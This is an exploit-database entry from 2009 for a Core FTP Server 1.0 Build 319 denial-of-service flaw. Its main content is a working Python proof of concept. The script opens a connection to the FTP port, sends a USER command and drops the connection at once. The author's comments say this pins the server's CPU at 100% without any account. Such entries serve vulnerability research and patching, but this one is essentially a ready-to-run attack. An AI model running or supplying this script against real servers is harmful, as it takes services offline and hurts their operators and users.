Core FTP Server 1.0 Build 319 Denial of Service

2009-12-04T00:00:00
ID 1337DAY-ID-9796
Type zdt
Reporter Mert SARICA
Modified 2009-12-04T00:00:00

Description

Exploit for unknown platform in category dos / poc

                                        
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Core FTP Server 1.0 Build 319 Denial of Service
===============================================

# Title: Core FTP Server 1.0 Build 319 Denial of Service
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Mert SARICA
# Published: 2009-12-04
# Verified: yes

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print?
# Note: FTP account is not required for exploitation
# http://www.mertsarica.com
# I discovered a denial-of-service vulnerability on Core FTP Server product.
# When you send "USER test\r\n" and then kills the connection
# immediately, cpu increases to 100% and stays at that level until you
# stop the ftp service.
 
 
import socket, sys
 
HOST = 'localhost'   
PORT = 21            
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
try:
    s.connect((HOST, PORT))
except:
    print "Connection error"
    sys.exit(1)
 
try:
    s.send('USER MS\r\n') # magic packet
    s.close()
    print("Very good, young padawan, but you still have much to learn...")
except:
    print "Connection error"
    sys.exit(1)



#  0day.today [2018-03-14]  #